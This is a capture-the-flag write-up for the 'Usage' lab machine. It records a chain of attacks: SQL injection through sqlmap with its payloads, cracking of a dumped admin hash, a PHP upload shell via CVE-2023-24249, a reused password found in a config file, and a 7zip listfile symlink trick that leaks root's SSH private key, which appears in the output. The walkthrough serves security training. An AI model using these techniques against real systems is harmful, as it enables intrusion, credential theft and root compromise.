Machine Card listing Usage as an easy Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

The nmap scan already identified a redirect to http://usage.htb, so I add this domain to my /etc/hosts before checking out the webpage. There’s a login prompt and links to Login, Register, and Admin. The latter being a link to admin.usage.htb with another login form.

Screenshot showing the login screen on usage.htb

Registering a new account and logging in, shows a dashboard with featured blogs but besides that there’s nothing of interest (besides a hint towards Laravel).

Web Page showing featured blogs

On the login form on the main page it’s possible to request a password reset by supplying an email address. The application indicates whether a provided email address is valid so it could be used to enumerate valid accounts.

Password reset prompt indicating that the provided email exists

Password reset prompt indicating that the provided email does not exist

Initial Access

Sending the requests through Burp reveals two parameters _token and email. Checking for a simple SQL injection within the email field next. The paramter might be vulnerable because a single returns an error page and ’— - shows the expected page. I copy the request to a file to use it for SQLmap.

POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6ImhwcktMTTliSjQ5QVg5QzBSMXhXM0E9PSIsInZhbHVlIjoiWGJ2TG5odi9uVHQzeCtGTjBiZ0R3SlpSU3RsM2IxQ0NLN2VoNHVmclNXdjJqc1F2MGVpQUNCR3pkTUN0aEpjVEU0djRzbk15Uzc4TkY5UmYzbW5PMExKT0hsS3MzQ3Y5M2J4OFE3SEsranR6WUY4ckZGRldScXR0V1pZRm5KQVIiLCJtYWMiOiI4MmUyNWQ5MmViNTEwMzZhMGFlOTkxNDYyNjc1NTEwN2VkOGU5NTgwYjIwOWE3NmEzYTNiMzhmOTQxNTU4ZTBhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBjT0kwR3Z2VFU3WUtjTnNRZDdyV0E9PSIsInZhbHVlIjoiaDVlalpQTmE0bllxUFVDMm1MeWZ6NXJ1YXQrcVRFSGphYnVyODJIbHVxMnpNNmEvS1Qza2ljSGIrQTJvcWFjUFhiVk8wOEMyWDNZbXFGblMzcFJxUWo4NFhUczdtZDc4Vi9vWDAxMTBySW9RcWtzb2FzTVRDUFhINjlSUGJ4UXMiLCJtYWMiOiIzYTg2ZTQ2ODViNTk4NDJlM2VhYzhmMzUyNDY1YzQzN2Q3YzRhM2U4M2Q1ZDI5ZDZmMGJiMTA2YzA2MzE5NGIxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=2lrkiP3WqSdiiR1uxy0IxrqdTehZmuF6RfjVeryJ&email=ryuki%40ctf.htb*

Since I already identified a likely injection point, I mark it with an asterisk * and then run SQLmap.

sqlmap --level 5 --risk 3 --threads 10 --batch -r reset-password.req
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.6.3#dev}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:52:20 /2024-08-05/
 
[22:52:20] [INFO] parsing HTTP request from 'reset-password.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'XSRF-TOKEN' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[22:52:20] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[22:52:20] [INFO] testing if the target URL content is stable
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
--- SNIP ---
[22:53:23] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[22:53:24] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
--- SNIP ---
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=2lrkiP3WqSdiiR1uxy0IxrqdTehZmuF6RfjVeryJ&email=ryuki@ctf.htb' AND 3316=(SELECT (CASE WHEN (3316=3316) THEN 3316 ELSE (SELECT 6608 UNION SELECT 1670) END))-- JKfs
 
    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: _token=2lrkiP3WqSdiiR1uxy0IxrqdTehZmuF6RfjVeryJ&email=ryuki@ctf.htb' AND 8938=BENCHMARK(5000000,MD5(0x567a4544))-- HoFS
---
[22:55:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL < 5.0.12
--- SNIP ---

SQLmap confirms the vulnerability and identifies the backend as MySQL. I proceed to dump the tables within the database usage_blog and receive 15 tables in total with admin_users and users being my next move. Dumping the admin users with SQLmap shows only a single account.

sqlmap --level 5 --risk 3 --threads 2 --batch -r reset-password.req --tables --dump --exclude-sysdb --dbms=mysql
--- SNIP ---
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
 
sqlmap --level 5 --risk 3 --threads 2 --batch -r reset-password.req --dump --dbms=mysql -D usage_blog -T admin_users
--- SNIP ---
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+

Throwing the hash into john recognises it as bcrypt and with the help of rockyou.txt its cracked in a short time. Combining the recovered password whatever1 with the username admin allows me to login on the Admin Dashboard (admin.usage.htb).

Admin Dashboard with information about the environment and the dependencies

Execution

The dashboard shows information about the environment and the dependencies of the application. The admin panel is powered by encore/laravel-admin in version 1.8.18 and looking for known exploits I quickly find CVE-2023-24249, that allows for remote code execution after uploading a profile picture and adding .php as the extension during the upload1.
In order to get a reverse shell I modify the extension of my shell to .png before uploading it as a new profile picture. During the upload I proxy the request through BurpSuite and add .php to the filename within the form data. After the succesful upload the new image obviously does not render anymore and inspecting the path to it shows the file in /upload/images/.
Accessing the uploaded file triggers a callback on my listener as dash with access to the first flag.

Request in BurpSuite showing the upload of a profile picture and adding the extension .php

Privilege Escalation

Shell as xander

Within the home directory of dash there are several files related to M/Monit, a monitoring software. One of those files, .monitrc, does contain the password 3nc0d3d_pa$$w0rd. Checking for password re-use, the password does not work for dash but there are two more users with a shell on the host: root and xander and changing to the latter with the password works.

/home/dash/.monitrc
#Monitoring Interval in Seconds
set daemon  60
 
#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd
 
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert
 
 
#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert
 
check filesystem rootfs with path /
       if space usage > 80% then alert

Shell as root

After taking over xander, I check if there are any commands I can run with sudo and apparently I can run /usr/bin/usage_management as any user.

sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

The file in question is a binary, so using some form of reverse engineering might be needed to fully understand what it does. A run with strings could return some quick wins, so I decide to do that first.

strings /usr/bin/usage_management
--- SNIP ---
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
--- SNIP ---

Judging from the output there might be three features:

  • Backup the project in /var/www/html with 7zip
  • Backup the MySQL data with mysqldump
  • Reset the admin password

Running the binary as root shows the interface already seen in the strings output with the three different choices. The reset functionality seems juicy but there are no hints regarding the password and using that options just returns Password has been reset (Reverse engineering the binary shows that it’s a dead end).
Creating a database dump works and its accessible at /var/backup/mysql_backup.sql but does not contain any relevant information.
This leaves me with the project backup feature (1). Selecting it seems to cd into /var/www/html and executing /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * producing a file at /var/backups/project.zip.

sudo /usr/bin/usage_management 
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
 
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)
 
Scanning the drive:
2984 folders, 17950 files, 114774226 bytes (110 MiB)         
 
Creating archive: /var/backups/project.zip
 
Items to compress: 20934
 
                                                                               
Files read from disk: 17950
Archive size: 54861773 bytes (53 MiB)
Everything is Ok

The usage of -- is supposed to prevent injection of commandline arguments that are possibly read with * from the current working directory. By adding a special file prefixed with an @ 7zip will try to read a list of files from a file with the same name (minus the @)2.
To exploit this I change into /var/www/html, create an empty file called @ssh_key and a link to the file I want to read, here /root/.ssh/id_rsa, called ssh_key. This will make 7zip try to read a list of files from the symlink and since the filenames from the link are not valid, print the contents as error.

cd /var/www/html
 
# Create the indicator for the listfile
touch @ssh_key
 
# Create the listfile
ln -s /root/.ssh/id_rsa ssh_key
 
# Run the binary
sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
 
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)
 
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54861773
 
Scanning the drive:
 
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
 
 
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
 
 
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
 
 
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
 
 
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
 
 
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
 
 
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
 
2984 folders, 17951 files, 114774625 bytes (110 MiB)
 
Updating archive: /var/backups/project.zip
 
Items to compress: 20935
 
 
Files read from disk: 17951
Archive size: 54861916 bytes (53 MiB)
 
Scan WARNINGS for files and folders:
 
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

After running the binary and choosing 1, 7zip reads the contents of roots’ ssh key. Adding those lines into a new file and setting the appropriate permissions (chmod 600), lets me login as root and collect the final flag.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Reset Password Feature) -->|SQL Injection| B(Hash of Administrator)
    B -->|Bruteforce| C(Password)
    C -->|Valid Credentials| D(Access to Laraval Admin Interface)
end

subgraph "Execution"
    D -->|"PHP File Upload (CVE-2023-24249)"| E(Shell as dash)
end

subgraph "Privilege Escalation"
    E -->|Unsecured Credentials in config file| F(Shell as xander)
    F -->|7zip input filelist| G(SSH-key for root)
    G --> H(Shell as root)
end

Footnotes

  1. CVE-2023-24249

  2. Wildcards Spare tricks